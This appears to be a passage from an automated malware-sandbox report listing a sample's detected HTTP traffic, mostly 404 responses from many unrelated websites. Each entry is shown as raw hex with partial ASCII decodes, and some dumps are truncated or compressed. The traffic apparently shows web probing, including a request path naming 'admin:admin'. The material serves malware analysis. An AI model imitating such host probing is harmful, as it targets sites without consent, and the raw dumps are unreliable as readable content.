65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text/
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:32 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-40.ec2.internalX-Request-Id: ce3e395c-68b5-4bae-b18a-0f0367a234f7Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidate, max-age=0Content-Type: text/html; charset=UTF-8Expires: Wed, 11 Jan 1984 05:00:00 GMTServer: Microsoft-IIS/10.0X-Powered-By: PHP/7.4.2Link: <https://www.tgcan.co.uk/wp-json/>; rel="https://api.w.org/"X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:32 GMTContent-Length: 41957Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 61 76 61 64 61 2d 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 77 69 64 65 20 61 76 61 64 61 2d 68 74 6d 6c 2d 68 65 61 64 65 72 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:32 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:32 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:32 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn61.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text/
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:32 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.devnetmedia.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 6655Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 52 5d 73 dc 36 96 7d 96 7e 05 44 d7 5a 52 d2 20 5b 2d c9 76 24 b5 52 b3 4e a6 6a b6 92 4c 2a 4e 6a 1f 26 53 29 34 79 9b 84 0d 02 18 00 ec 56 8f e3 ff be 17 20 d9 4d 76 93 b2 9c 4d 66 e7 61 5d 89 9a b8 9f e7 9e 73 ee 4e 32 95 ba 8d 06 52 b8 52 dc 1f df f9 1f 22 98 cc e7 11 48 fa d3 9b c8 c7 80 65 f7 c7 47 77 25 38 46 d2 82 19 0b 6e 1e fd f4 e3 9f e9 ab 68 1b 97 ac 84 79 b4 e2 b0 d6 ca b8 88 a4 4a 3a 90 58 b7 e6 99 2b e6 19 ac 78 0a 34 3c 26 84 4b ee 38 13 d4 a6 4c c0 fc 22 4c 11 5c be 23 06 c4 3c d2 46 2d b9 80 88 14 06 96 f3 a8 70 4e df 24 49 5e ea 3c 56 26 4f 1e 96 32 b9 a8 7b 1c 77 02 ee bf 67 39 10 a9 1c 59 aa 4a 66 e4 f9 b3 57 b3 8b 8b 5b f2 15 ac be 03 f7 2d 64 9c dd 25 75 e5 f1 6e cb 69 26 2d d5 b8 00 5c 5a 9c d6 ab 4e 93 64 89 b0 6d 9c 2b 95 0b 60 9a db 38 55 e5 29 49 9e d0 69 e3 b5 87 b7 57 1c 31 e1 c0 48 e6 f0 1c cf 33 06 b4 16 3c 65 8e 2b 99 18 6b 3f 7f 28 05 a6 3c bc 79 d4 81 4c 9e 1b f6 8f 4a dd 92 3f 03 64 7b 54 ac d7 eb 18 09 95 e0 4a 5f ea 31 26 4b 2c 4b a2 df 7b f9 6b 55 96 a8 a2 7d 2a 8a b4 a9 ef c0 39 3a ba b3 a9 e1 da 35 10 1c 3c b8 e4 2d 5b b1 3a ea 75 3c 3a 5a 73 99 a9 75 fc cb 5a 43 a9 de f2 37 e0 1c 97 b9 25 73 f2 3e 5a 30 0b 3f 19 11 dd 84 c5 f6 e6 e7 e4 e7 96 ec 9f 13 5e a2 f8 f6 67 5c 6c e0 e7 24 34 ff 9c 5c 5c c6 d3 78 fa 73 f2 72 f6 f0 72 f6 73 12 4d 22 dc 89 fd b1 96 39 3e ec 2a ff 6d f3 b0 31 4c c3 df af eb 81 f8 e5 df aa 32 29 44 37 ef 23 74 3d b2 1b da 9a f9 61 fc 00 55 18 d4 94 cb 54 54 99 df f7 d6 86 40 e8 a4 a8 1d e0 d1 71 c9 65 fc d6 7e b9 02 33 bf 8e af e3 8b cb e8 c3 87 5b 4f d7 c9 b2 92 a9 17 f1 0c 26 6c e2 ce df af 98 21 72 62 26 6a c2 e7 38 de 00 82 f8 5a 80 d7 e2 2c 4a 99 44 b6 a3 f3 89 9e f3 38 07 f7 1a 3d 8e 84 3c 7f de 7d 9d 45 b3 2c 3a bf 6d 07 13 8b a3 9b c1 6c fe c6 19 94 23 5e 1a 55 be 2e 98 79 ad 32 b8 d5 71 8a 28 cd 0f 90 ba b3 e9 64 3a e1 f1 9a 67 ae c0 df 02 78 5e 38 5c 17 2f b9 10 3f fa e1 2c f6 ce db 9c b9 82 db 09 9c 63 f9 f4 fc 16 10 8e 53 5f 31 c7 7e fa e1 9b b3 f3 5b 03 ae 32 92 fc f6 c1 ae 1e 3c 81 f9 bc 3f fa c3 f6 ac f4 0c ea a3 dc 21 4f 8d 21 cf 6f 5d 6c 4d 3a c7 fb 51 b4 25 92 ef e2 61 eb 4e 98 27 b0 e9 b7 ff b9 f9 91 e5 df b1 12 ce a2 02 18 92 f9 b7 e9 df 3d 3a 90 d9 eb 82 8b ec cc 21 0e 65 ce d4 fc 4f c6 b0 cd 59 b4 14 cc bb a7 76 cb 39 6e b3 95 d6 ca 38 3b 7f 0f a8 f9 06 6f 92 f9 cd c9 74 b2 7b 7d fd 90 82 76 7f c6 46 8c 7f 98 98 f9 f4 d6 dc a9 58 80 cc 5d 71 6b 3e ff fc 7c 37 e5 6f ea 6f e6 ef 7f 9f ef ac 72 fe 9e 2f cf 4e f4 af bf 9e ec 08 3c af 49 3f b9 b8 b5 6b ee d2 e2 4c c7 fe ca ff 44 fb 09 2e fd cd 4a 47 9e 70 74 c9 3c 7a 31 9d 92 cb 99 7e 20 7f 32 9
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-40.ec2.internalX-Request-Id: ac17d3cd-2df6-45b7-8f14-6889b19eebb8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTServer: ApacheSet-Cookie: is_mobile=0; path=/; domain=www.guymassey.comVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:33 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:33 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: blu69.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:33 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTServer: ApacheX-ServerIndex: llim605Upgrade: h2,h2cConnection: UpgradeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 65 61 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 61 6a 70 61 73 63 75 61 6c 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 24 52 45 47 49 53 54 52 41 4e 54 31 20 24 52 45 47 49 53 54 52 41 4e 54 32 20 24 52 45 47 49 53 54 52 41 4e 54 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 73 79 73 2e 65 73 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 74 68 65 57 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 73 63 72 65 65 6e 2e 77 69 64 74 68 20 3c 3d 20 34 32 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 76 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 74 68 65 57 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 76 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 27 77 69 64 74 68 3d 34 30 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 73 65 67 75 69 6d 69 65 6e 74 6f 22 3e 3c 2f 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 45 73 74 61 20 65 73 20 6c 61 20 70 26 61 61 63 75 74 65 3b 67 69 6e 61 20 64 65 3a 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 3e 61 6a 70 61 73 63 75 61 6c 2e 63 6f 6d 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:26 GMTConnection: closeContent-Length: 53022Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 65 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 34 30 34 3b 68 74 74 70 3a 2f 2f 63 6f 70 79 73 65 74 2e 63 6f 6d 3a 38 30 38 30 2f 69 6e 64 65 78 2e 69 6d 6c 3f 50 41 54 48 5f 31 3d 61 64 6d 69 6e 26 46 55 4c 4c 5f 50 41 54 48 3d 61 64 6d 69 6e 3a 61 64 6d 69 6e 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 20 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 